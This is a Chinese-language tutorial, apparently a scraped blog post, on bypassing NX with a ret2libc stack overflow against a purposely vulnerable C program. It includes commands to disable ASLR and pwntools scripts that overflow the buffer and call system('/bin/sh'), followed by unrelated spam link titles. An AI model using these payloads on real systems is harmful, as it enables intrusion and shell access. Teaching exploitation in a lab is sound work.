当前位置: 首页 > news >正文

微信网站模板旅游网站建设目的

微信网站模板,旅游网站建设目的,哪些网站是动态页面,蜂鸟 网站建设程序#xff1a; 1.c #include stdio.h void exploit() {system(/bin/sh); } void func() {char str[0x20];read(0,str,0x50); } int main() {func();return 0; }0x01 NX介绍 溢出攻击的本质在于冯诺依曼计算机模型对数据和代码没有明确区分这一先天性缺…程序 1.c #include stdio.h void exploit() {system(/bin/sh); } void func() {char str[0x20];read(0,str,0x50); } int main() {func();return 0; }0x01 NX介绍 溢出攻击的本质在于冯·诺依曼计算机模型对数据和代码没有明确区分这一先天性缺陷。因为攻击者可以将代码放置于数据区段转而让系统去执行。 NX缓解机制开启后使某些内存区域不可执行并使可执行区域不可写。示例使数据堆栈和堆段不可执行而代码段不可写。 2. 编译 gcc -Wall -g -o nx 1.c -fno-stack-protector -m32 没有使用 -z execstack 所以数据所在内存页标识为不可执行当程序溢出成功转入shellcode时程序会尝试在数据页面上执行指令此时CPU就会抛出异常而不是去执行恶意指令。 关闭ASLR echo 0 /proc/sys/kernel/randomize_va_space我们用下面的程序执行获取权限将会报错我试了这里就不贴图了因为开启了NX保护机制。这是关闭NX获取权限的我写在这篇文章上了 https://blog.csdn.net/qq_41683305/article/details/105014197 from pwn import * pprocess(./nx) offset 0x280x4 payload a*offsetp32(0x8049172) p.sendline(payload) p.interactive()0x03 原因 运行起nx,并保持运行状态新打开一个终端输入ps -a,查看nx的pid然后执行cat /proc/52799/maps 发现stack不可以执行我们的shellcode不可以执行了 0x04 ret2libc ret2libc即控制函数执行libc中的函数通常是返回至某个函数的plt处或者函数的具体位置(即函数对应的got表项的内容)。 一般情况下我们会选择执行system(/bin/sh)在不存在ASLR(地址随机化)的情况下可以直接通过调试获得system的函数地址以及“/bin/sh”的地址 。 布局完成后返回地址return_addr被覆盖为libc文件里的system函数地址当运行到esp位置时会跳转到system中执行同时esp指向esp4这时对system来说它内部的ret(返回地址)执行时esp指针还是指向esp4的也就是esp 4(0xdeadbeef)就是system函数的返回地址而esp8则是它的参数 注对于不想使程序崩溃可以将esp4的覆盖为exit函数的地址 0x06 找地址 先执行start运行我们的程序然后输入下图内容找到system和exit地址 接着找/bin/sh地址 我用的是第一个地址成功了后面两个我没有尝试 三个地址都找到了修改我们的poc程序 1.py # -*- coding: utf-8 -*- from pwn import * pprocess(./nx) offset 0x280x4 payload a*offsetp32(0xf7e13660) payloadp32(0xf7e066f0) payloadp32(0x56557008) p.sendline(payload) p.interactive()接着执行成功获取权限 0x08 总结 Ret2Libc虽然把数据放在了不具备可执行权限的栈上但成功执行了shellcode这是因为只是把输入数据当做纯数据来间接劫持程序的执行流。 这个程序的成功执行得利于关闭ASLRsystem和exit函数的地址才能固定下来。我们构造poc才方便很多。 ret2libc的精髓之处在于把ret addr修改成libc库中的函数地址并且构造了system函数的参数。对于DEP防御来说你不让我执行我的代码我就利用你的函数达到我的目的。这边是面向返回编程的设计思路。 参考 https://www.jianshu.com/p/c90530c910b0 https://blog.csdn.net/counsellor/article/details/81986052?depth_1-utm_sourcedistribute.pc_relevant.none-taskutm_sourcedistribute.pc_relevant.none-task
http://www.zqtcl.cn/news/762243/

相关文章:

  • 360建站系统徐州建设银行网上银行个人网站
  • 网站域名在哪里备案石家庄站规模
  • 重庆南川网站制作公司电话工会网站群建设
  • 深圳高端建设网站忘了网站链接怎么做
  • 郑州做网站报价wordpress中文4.8
  • 网站维护费用一年多少跨境电商平台网站建设广州
  • 辽宁网站制作公司网店装修流程
  • html5可以做交互网站吗打开网站说建设中是什么问题?
  • 彩票网站开发制作需要什么wordpress 在线预览
  • 外贸平台app衡水seo排名
  • 怎样做网站表白墙东莞商城网站推广建设
  • 郑州郑州网站建设河南做网站公司哪家好爱站长尾词挖掘工具
  • dede网站地图文章变量网站qq 微信分享怎么做
  • 越南做网站网站建设以及运营方面
  • 广西建网站哪家好网站关闭与域名备案
  • 网站开发版本号婚庆网站建设策划案费用预算
  • 厦门建设网站制作中山市哪家公司做网站
  • 网站路径wordpress制作电商网站
  • 江西网站开发哪家专业装饰设计公司网站
  • 企业网站策划实训Wordpress 主题简化
  • 做网站点击挣钱不兰州工程建设信息网站
  • 网站说服力 营销...免费看片网站
  • 深圳招聘网站大全制作网站软件下载
  • 网站建设说明哈尔滨网站建设渠道
  • 一 网站建设管理基本情况设计类的网站
  • wordpress产品编辑如何优化wordpress
  • 网站后台更新缓存失败网站平台规划方案
  • 网站开发需求分析主要内容saas建站系统是怎么实现的
  • 做qq头像的网站有哪些wordpress怎么部署到虚拟linux服务器
  • 征求网站建设企业网站建设word